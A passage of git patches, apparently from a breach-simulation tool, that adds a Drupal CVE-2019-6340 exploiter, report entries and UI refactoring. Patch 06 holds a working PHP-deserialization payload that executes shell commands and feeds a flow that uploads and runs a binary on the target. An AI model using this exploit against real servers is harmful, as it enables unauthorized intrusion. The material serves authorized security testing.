From 36d84878776ebb201198b342b30bc772c65df2ed Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:43:16 +0300
Subject: [PATCH 01/32] add Drupal exploit to the report - basic message
---
monkey/monkey_island/cc/services/reporting/report.py | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index 195eac3d6..a1bbcece5 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -40,7 +40,8 @@ class ReportService:
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter',
- 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
+ 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
+ 'DrupalExploiter': 'Drupal Server Exploiter'
}
class ISSUES_DICT(Enum):
@@ -349,6 +350,12 @@ class ReportService:
processed_exploit['type'] = 'mssql'
return processed_exploit
+ @staticmethod
+ def process_drupal_exploit(exploit):
+ processed_exploit = ReportService.process_general_exploit(exploit)
+ processed_exploit['type'] = 'drupal'
+ return processed_exploit
+
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@@ -364,7 +371,8 @@ class ReportService:
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit,
- 'VSFTPDExploiter': ReportService.process_vsftpd_exploit
+ 'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
+ 'DrupalExploiter': ReportService.process_drupal_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
From a87640c4aaa6f1514b8d38cf1cdd9c44c328ccf2 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:43:41 +0300
Subject: [PATCH 02/32] add Drupal exploit to the configuration
---
monkey/monkey_island/cc/services/config_schema.py | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index b6668af38..5ea80cc48 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -99,6 +99,13 @@ SCHEMA = {
"VSFTPDExploiter"
],
"title": "VSFTPD Exploiter"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "DrupalExploiter"
+ ],
+ "title": "Drupal Exploiter"
}
]
},
From 610d3d1144fb2c2002a8894672c7306bb145e2e6 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:46:42 +0300
Subject: [PATCH 03/32] get a vulnerable URL in a configurable manner
---
monkey/infection_monkey/exploit/web_rce.py | 19 ++++++++++++++-----
1 file changed, 14 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 3863d47e1..faa183faa 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -89,7 +89,7 @@ class WebRCE(HostExploiter):
if not self.vulnerable_urls:
return False
- self.target_url = self.vulnerable_urls[0]
+ self.target_url = self.get_target_url()
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
# Skip if monkey already exists and this option is given
@@ -98,21 +98,21 @@ class WebRCE(HostExploiter):
return True
# Check for targets architecture (if it's 32 or 64 bit)
- if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
+ if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
- data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
+ data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
- if self.change_permissions(self.target_url, data['path']) is False:
+ if self.change_permissions(self.get_target_url(), data['path']) is False:
return False
# Execute remote monkey
- if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
+ if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
return False
return True
@@ -502,3 +502,12 @@ class WebRCE(HostExploiter):
def set_vulnerable_port_from_url(self, url):
self.vulnerable_port = HTTPTools.get_port_from_url(url)
+
+ def get_target_url(self):
+ """
+ This method allows "configuring" the way in which a vulnerable URL is picked.
+ If the same URL should be used - always return the first.
+ Otherwise - implement your own (e.g. Drupal must use a new URI each time).
+ :return: a vulnerable URL
+ """
+ return self.vulnerable_urls[0]
From f3f124ce76812ce9b489c5bc457016b643f550b5 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:47:08 +0300
Subject: [PATCH 04/32] renames, formatting and documentation
---
monkey/infection_monkey/exploit/web_rce.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index faa183faa..dd51c615d 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -83,8 +83,8 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
- urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
- self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
+ potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+ self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
return False
@@ -187,6 +187,7 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
+ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
@@ -344,7 +345,6 @@ class WebRCE(HostExploiter):
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
-
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
From 2d48001f7b5986322f5d629ee86fd436e53a5bd5 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:47:38 +0300
Subject: [PATCH 05/32] log exceptions in exploit_host
---
monkey/infection_monkey/exploit/HostExploiter.py | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index 50f4167d8..69f0b2fcf 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -1,3 +1,4 @@
+import logging
from abc import abstractmethod
from infection_monkey.config import WormConfiguration
@@ -10,6 +11,9 @@ import infection_monkey.exploit
__author__ = 'itamar'
+logger = logging.getLogger(__name__)
+
+
class HostExploiter(Plugin):
@staticmethod
def should_run(class_name):
@@ -67,8 +71,11 @@ class HostExploiter(Plugin):
def exploit_host(self):
self.pre_exploit()
+ result = None
try:
result = self._exploit_host()
+ except Exception as e:
+ logger.warning(f'Exception in exploit_host: {e}')
finally:
self.post_exploit()
return result
From 7fff3b57bc8742abfa06592007996a2143af820c Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:47:59 +0300
Subject: [PATCH 06/32] Drupal server exploit implementation
---
monkey/infection_monkey/exploit/drupal.py | 175 ++++++++++++++++++++++
1 file changed, 175 insertions(+)
create mode 100644 monkey/infection_monkey/exploit/drupal.py
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
new file mode 100644
index 000000000..31b7a4cd2
--- /dev/null
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -0,0 +1,175 @@
+"""
+Remote Code Execution on Drupal server - CVE-2019-6340
+Implementation is based on:
+ https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
+"""
+
+import logging
+import re
+import requests
+from urllib.parse import urljoin, urlparse
+from infection_monkey.exploit.web_rce import WebRCE
+
+__author__ = 'Ophir Harpaz'
+
+LOG = logging.getLogger(__name__)
+
+
+def remove_port(url):
+ parsed = urlparse(url)
+ with_port = f'{parsed.scheme}://{parsed.netloc}'
+ without_port = re.sub(':[0-9]+$', '', with_port)
+ return without_port
+
+
+def build_url(*args) -> str:
+ f = ''
+ for x in args:
+ f = urljoin(f, x)
+ return f
+
+
+def check_drupal_cache(r: requests.Response) -> bool:
+ """
+ Check if a response had the cache header.
+ """
+ return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+
+
+def find_articles(base_url: str, lower: int = 1, upper: int = 10):
+ """ Find a target article that does not 404 and is not cached """
+ articles = set()
+ while lower < upper:
+ u = build_url(base_url, str(lower))
+ r = requests.get(u)
+ if r.status_code == 200: # found an article
+ articles.add(lower)
+ if check_drupal_cache(r):
+ LOG.info(f'Found a cached article at: {lower}, skipping')
+ lower += 1
+ return articles
+
+
+class DrupalExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Drupal Server'
+ DRUPAL_PORTS = [[80, False], [443, True]]
+
+ def __init__(self, host):
+ super(DrupalExploiter, self).__init__(host)
+
+ def get_exploit_config(self):
+ """
+ We override this function because the exploits requires a special extension in the URL, "node",
+ e.g. an exploited URL would be http://172.1.2.3:/node/3.
+ :return: the Drupal exploit config
+ """
+ exploit_config = super(DrupalExploiter, self).get_exploit_config()
+ exploit_config['url_extensions'] = ['node/']
+ return exploit_config
+
+ def add_vulnerable_urls(self, potential_urls, stop_checking=False):
+ """
+ We need a specific implementation of this function in order to add the URLs *with the node IDs*.
+ We therefore check, for every potential URL, all possible node IDs.
+ :param potential_urls: Potentially-vulnerable URLs
+ :param stop_checking: Stop if one vulnerable URL is found
+ :return: None (in-place addition)
+ """
+ for url in potential_urls:
+ node_ids = find_articles(url)
+ if node_ids is None:
+ LOG.info('Could not find a Drupal node to attack')
+ continue
+ for node_id in node_ids:
+ node_url = build_url(url, str(node_id))
+ if self.check_if_exploitable(node_url):
+ self.add_vuln_url(url) # Where is this used?
+ self.vulnerable_urls.append(node_url)
+ if stop_checking:
+ break
+ if not self.vulnerable_urls:
+ LOG.info("No vulnerable urls found")
+
+ def check_if_exploitable(self, url):
+ """
+ Check if a certain URL is exploitable.
+ We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
+ a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
+ :param url: Drupal's URL and port
+ :return: Vulnerable URL if exploitable, otherwise False
+ """
+ payload = {
+ "_links": {
+ "type": {
+ "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
+ }
+ },
+ "type": {
+ "target_id": "article"
+ },
+ "title": {
+ "value": "My Article"
+ },
+ "body": {
+ "value": ""
+ }
+ }
+
+ response = requests.get(f'{url}?_format=hal_json',
+ json=payload,
+ headers={"Content-Type": "application/hal+json"})
+
+ if check_drupal_cache(response):
+ LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
+ return False
+
+ return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
+
+ def exploit(self, url, command):
+ # pad a easy search replace output:
+ cmd = 'echo ---- && ' + command
+ base = remove_port(url)
+ payload = {
+ "link": [
+ {
+ "value": "link",
+ "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
+ "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
+ "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
+ "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
+ "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
+ "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
+ "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
+ "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+ "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+ }
+ ],
+ "_links": {
+ "type": {
+ "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
+ }
+ }
+ }
+
+ LOG.info(payload)
+
+ r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
+
+ if check_drupal_cache(r):
+ LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
+
+ if '----' not in r.text:
+ LOG.info('[warn] Command execution _may_ have failed')
+
+ result = r.text.split('----')[-1]
+ LOG.info(f'Drupal exploit result = {result}')
+ return result
+
+ def get_target_url(self):
+ """
+ We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
+ Reusing the same URL eliminates its exploitability because of caching reasons :)
+ :return: vulnerable URL to exploit
+ """
+ return self.vulnerable_urls.pop()
From 1e259fc13149c62bf4ecf5c3847dbc299865df85 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Sun, 30 Aug 2020 18:04:26 +0300
Subject: [PATCH 07/32] Add a detailed issue to the security report
---
.../cc/services/reporting/report.py | 26 ++-
.../report-components/SecurityReport.js | 206 ++++++++++--------
2 files changed, 132 insertions(+), 100 deletions(-)
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index e7b38b1d9..d60d53dec 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -1,22 +1,25 @@
import functools
+import ipaddress
import itertools
import logging
-
-import ipaddress
-from bson import json_util
from enum import Enum
+from bson import json_util
+
from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
+from monkey_island.cc.network_utils import get_subnets, local_ip_addresses
from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+from monkey_island.cc.services.configuration.utils import \
+ get_config_network_segments_as_subnet_groups
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.pth_report import PTHReportService
-from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report
-from monkey_island.cc.network_utils import local_ip_addresses, get_subnets
+from monkey_island.cc.services.reporting.report_exporter_manager import \
+ ReportExporterManager
+from monkey_island.cc.services.reporting.report_generation_synchronisation import \
+ safe_generate_regular_report
__author__ = "itay.mizeretz"
@@ -59,6 +62,7 @@ class ReportService:
PTH_CRIT_SERVICES_ACCESS = 11
MSSQL = 12
VSFTPD = 13
+ DRUPAL = 14
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@@ -623,7 +627,7 @@ class ReportService:
@staticmethod
def get_config_exploits():
- exploits_config_value = ['exploits', 'general', 'exploiter_classes']
+ exploits_config_value = ['basic', 'exploiters', 'exploiter_classes']
default_exploits = ConfigService.get_default_config(False)
for namespace in exploits_config_value:
default_exploits = default_exploits[namespace]
@@ -637,11 +641,11 @@ class ReportService:
@staticmethod
def get_config_ips():
- return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
+ return ConfigService.get_config_value(['basic_network', 'scope', 'subnet_scan_list'], True, True)
@staticmethod
def get_config_scan():
- return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True, True)
+ return ConfigService.get_config_value(['basic_network', 'scope', 'local_network_scan'], True, True)
@staticmethod
def get_issues_overview(issues, config_users, config_passwords):
@@ -671,6 +675,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
+ elif issue['type'] == 'drupal':
+ issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index a3c29f163..d5bfff63a 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -161,25 +161,29 @@ class ReportPageComponent extends AuthComponent {
The monkey started propagating from the following machines where it was manually installed:
-
- {this.state.report.overview.manual_monkeys.map(x => - {x}
)}
-
+
+ {this.state.report.overview.manual_monkeys.map(x => - {x}
)}
+
The monkeys were run with the following configuration:
{
this.state.report.overview.config_users.length > 0 ?
-
- Usernames used for brute-forcing:
+ <>
+
+ Usernames used for brute-forcing:
+
- {this.state.report.overview.config_users.map(x => - {x}
)}
+ {this.state.report.overview.config_users.map(x => - {x}
)}
- Passwords used for brute-forcing:
+
+ Passwords used for brute-forcing:
+
- {this.state.report.overview.config_passwords.map(x => - {x.substr(0, 3) + '******'}
)}
+ {this.state.report.overview.config_passwords.map(x => - {x.substr(0, 3) + '******'}
)}
-
+ >
:
Brute forcing uses stolen credentials only. No credentials were supplied during Monkey’s
@@ -195,7 +199,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uses the following exploit methods:
- {this.state.report.overview.config_exploits.map(x => - {x}
)}
+ {this.state.report.overview.config_exploits.map(x => - {x}
)}
)
@@ -209,7 +213,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey scans the following IPs:
- {this.state.report.overview.config_ips.map(x => - {x}
)}
+ {this.state.report.overview.config_ips.map(x => - {x}
)}
:
@@ -313,15 +317,15 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following possible set of issues:
{this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ?
- - Weak segmentation - Machines from different segments are able to
+
- Weak segmentation - Machines from different segments are able to
communicate.
: null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
- - Weak segmentation - Machines were able to communicate over unused ports.
: null}
+ - Weak segmentation - Machines were able to communicate over unused ports.
: null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
- - Shared local administrator account - Different machines have the same account as a local
+
- Shared local administrator account - Different machines have the same account as a local
administrator.
: null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
- - Multiple users have the same password
: null}
+ - Multiple users have the same password
: null}
:
@@ -443,21 +447,22 @@ class ReportPageComponent extends AuthComponent {
}
generateInfoBadges(data_array) {
- return data_array.map(badge_data => {badge_data});
+ return data_array.map(badge_data => {badge_data});
}
generateCrossSegmentIssue(crossSegmentIssue) {
- return
- {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
+ let crossSegmentIssueOverview = 'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']
+ return
+ {crossSegmentIssueOverview}
{crossSegmentIssue['issues'].map(x =>
x['is_self'] ?
- -
+
-
{'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
:
- -
+
-
{'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+ ' using the services: ' + Object.keys(x['services']).join(', ')}
@@ -468,12 +473,12 @@ class ReportPageComponent extends AuthComponent {
}
generateShellshockPathListBadges(paths) {
- return paths.map(path => {path});
+ return paths.map(path => {path});
}
generateSmbPasswordIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -484,13 +489,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the SMB protocol with user {issue.username} and its password.
-
+ >
);
}
generateSmbPthIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -501,13 +506,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}.
-
+ >
);
}
generateWmiPasswordIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -518,13 +523,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the WMI protocol with user {issue.username} and its password.
-
+ >
);
}
generateWmiPthIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -535,13 +540,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}.
-
+ >
);
}
generateSshIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -552,13 +557,13 @@ class ReportPageComponent extends AuthComponent {
The Monkey authenticated over the SSH protocol with user {issue.username} and its password.
-
+ >
);
}
generateSshKeysIssue(issue) {
return (
- -
+ <>
Protect {issue.ssh_key} private key with a pass phrase.
The machine {issue.machine} ({issue.ssh_key}.
-
+ >
);
}
generateSambaCryIssue(issue) {
return (
- -
+ <>
Change {issue.username}'s password to a complex one-use password
that is not shared with other computers on the network.
@@ -589,13 +594,13 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-success">{issue.username} and its password, and used the SambaCry
vulnerability.
-
+ >
);
}
generateVsftpdBackdoorIssue(issue) {
return (
-
+ <>
Update your VSFTPD server to the latest version vsftpd-3.0.3.
The machine {issue.machine} (here.
-
+ >
);
}
generateElasticIssue(issue) {
return (
-
+ <>
Update your Elastic Search server to version 1.4.3 and up.
The machine {issue.machine} (
The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.
-
+ >
);
}
generateShellshockIssue(issue) {
return (
-
+ <>
Update your Bash to a ShellShock-patched version.
The machine {issue.machine} ({issue.port} was vulnerable to a shell injection attack on the
paths: {this.generateShellshockPathListBadges(issue.paths)}.
-
+ >
);
}
generateAzureIssue(issue) {
return (
-
+ <>
Delete VM Access plugin configuration files.
Credentials could be stolen from here.
-
+ >
);
}
generateConfickerIssue(issue) {
return (
-
+ <>
Install the latest Windows updates or upgrade to a newer operating system.
The machine {issue.machine} (
-
+ >
);
}
generateIslandCrossSegmentIssue(issue) {
return (
-
+ <>
Segment your network and make sure there is no communication between machines from different segments.
The network can probably be segmented. A monkey instance on
-
+ >
);
}
generateSharedCredsDomainIssue(issue) {
return (
-
+ <>
Some domain users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
-
+ >
);
}
generateSharedCredsIssue(issue) {
return (
-
+ <>
Some users are sharing passwords, this should be fixed by changing passwords.
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
-
+ >
);
}
generateSharedLocalAdminsIssue(issue) {
return (
-
+ <>
Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local
admin sharing.
@@ -730,13 +735,13 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-primary">{issue.username} is defined as an administrator:
{this.generateInfoBadges(issue.shared_machines)}
-
+ >
);
}
generateStrongUsersOnCritIssue(issue) {
return (
-
+ <>
This critical machine is open to attacks via strong users with access to it.
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
@@ -744,26 +749,26 @@ class ReportPageComponent extends AuthComponent {
These users has access to it:
{this.generateInfoBadges(issue.threatening_users)}.
-
+ >
);
}
generateTunnelIssue(issue) {
return (
-
+ <>
Use micro-segmentation policies to disable communication other than the required.
Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}.
-
+ >
);
}
generateStruts2Issue(issue) {
return (
-
+ <>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
Struts2 server at {issue.machine} (here.
-
+ >
+ );
+ }
+
+ generateDrupalIssue(issue) {
+ return (
+ <>
+ Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
+
+ Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack.
+
+ The attack was made possible because the server is using an old version of Drupal.
+ For possible workarounds and more info read here.
+
+ >
);
}
generateWebLogicIssue(issue) {
return (
-
+ <>
Update Oracle WebLogic server to the latest supported version.
Oracle WebLogic server at {issue.machine} ( CVE-2017-10271 or
CVE-2019-2725
-
+ >
);
}
generateHadoopIssue(issue) {
return (
-
+ <>
Run Hadoop in secure mode (
add Kerberos authentication).
@@ -809,13 +832,13 @@ class ReportPageComponent extends AuthComponent {
The attack was made possible due to default Hadoop/Yarn configuration being insecure.
-
+ >
);
}
generateMSSQLIssue(issue) {
return (
-
+ <>
Disable the xp_cmdshell option.
The machine {issue.machine} (
Microsoft's documentation.
-
+ >
);
}
generateIssue = (issue) => {
- let data;
+ let issueData;
switch (issue.type) {
case 'vsftp':
- data = this.generateVsftpdBackdoorIssue(issue);
+ issueData = this.generateVsftpdBackdoorIssue(issue);
break;
case 'smb_password':
- data = this.generateSmbPasswordIssue(issue);
+ issueData = this.generateSmbPasswordIssue(issue);
break;
case 'smb_pth':
- data = this.generateSmbPthIssue(issue);
+ issueData = this.generateSmbPthIssue(issue);
break;
case 'wmi_password':
- data = this.generateWmiPasswordIssue(issue);
+ issueData = this.generateWmiPasswordIssue(issue);
break;
case 'wmi_pth':
- data = this.generateWmiPthIssue(issue);
+ issueData = this.generateWmiPthIssue(issue);
break;
case 'ssh':
- data = this.generateSshIssue(issue);
+ issueData = this.generateSshIssue(issue);
break;
case 'ssh_key':
- data = this.generateSshKeysIssue(issue);
+ issueData = this.generateSshKeysIssue(issue);
break;
case 'sambacry':
- data = this.generateSambaCryIssue(issue);
+ issueData = this.generateSambaCryIssue(issue);
break;
case 'elastic':
- data = this.generateElasticIssue(issue);
+ issueData = this.generateElasticIssue(issue);
break;
case 'shellshock':
- data = this.generateShellshockIssue(issue);
+ issueData = this.generateShellshockIssue(issue);
break;
case 'conficker':
- data = this.generateConfickerIssue(issue);
+ issueData = this.generateConfickerIssue(issue);
break;
case 'island_cross_segment':
- data = this.generateIslandCrossSegmentIssue(issue);
+ issueData = this.generateIslandCrossSegmentIssue(issue);
break;
case 'shared_passwords':
- data = this.generateSharedCredsIssue(issue);
+ issueData = this.generateSharedCredsIssue(issue);
break;
case 'shared_passwords_domain':
- data = this.generateSharedCredsDomainIssue(issue);
+ issueData = this.generateSharedCredsDomainIssue(issue);
break;
case 'shared_admins_domain':
- data = this.generateSharedLocalAdminsIssue(issue);
+ issueData = this.generateSharedLocalAdminsIssue(issue);
break;
case 'strong_users_on_crit':
- data = this.generateStrongUsersOnCritIssue(issue);
+ issueData = this.generateStrongUsersOnCritIssue(issue);
break;
case 'tunnel':
- data = this.generateTunnelIssue(issue);
+ issueData = this.generateTunnelIssue(issue);
break;
case 'azure_password':
- data = this.generateAzureIssue(issue);
+ issueData = this.generateAzureIssue(issue);
break;
case 'struts2':
- data = this.generateStruts2Issue(issue);
+ issueData = this.generateStruts2Issue(issue);
break;
case 'weblogic':
- data = this.generateWebLogicIssue(issue);
+ issueData = this.generateWebLogicIssue(issue);
break;
case 'hadoop':
- data = this.generateHadoopIssue(issue);
+ issueData = this.generateHadoopIssue(issue);
break;
case 'mssql':
- data = this.generateMSSQLIssue(issue);
+ issueData = this.generateMSSQLIssue(issue);
+ break;
+ case 'drupal':
+ issueData = this.generateDrupalIssue(issue);
break;
}
- return data;
+ return {issueData};
};
generateIssues = (issues) => {
let issuesDivArray = [];
for (let machine of Object.keys(issues)) {
issuesDivArray.push(
-
+
{machine}
{issues[machine].map(this.generateIssue)}
From 4c9d0f27861badd4c774f8e09a31c6c5d2f4ae81 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Sun, 30 Aug 2020 18:04:40 +0300
Subject: [PATCH 08/32] Add Drupal to the newly formed configuration
---
.../cc/services/config_schema/basic.py | 76 ++++++++++
.../definitions/exploiter_classes.py | 139 ++++++++++++++++++
2 files changed, 215 insertions(+)
create mode 100644 monkey/monkey_island/cc/services/config_schema/basic.py
create mode 100644 monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py
new file mode 100644
index 000000000..0fa0b80d4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_schema/basic.py
@@ -0,0 +1,76 @@
+BASIC = {
+ "title": "Exploits",
+ "type": "object",
+ "primary": True,
+ "properties": {
+ "exploiters": {
+ "title": "Exploiters",
+ "type": "object",
+ "description": "Choose which exploiters the Monkey will attempt.",
+ "properties": {
+ "exploiter_classes": {
+ "title": "Exploiters",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "$ref": "#/definitions/exploiter_classes"
+ },
+ "default": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter",
+ "DrupalExploiter"
+ ]
+ }
+ }
+ },
+ "credentials": {
+ "title": "Credentials",
+ "type": "object",
+ "properties": {
+ "exploit_user_list": {
+ "title": "Exploit user list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "Administrator",
+ "root",
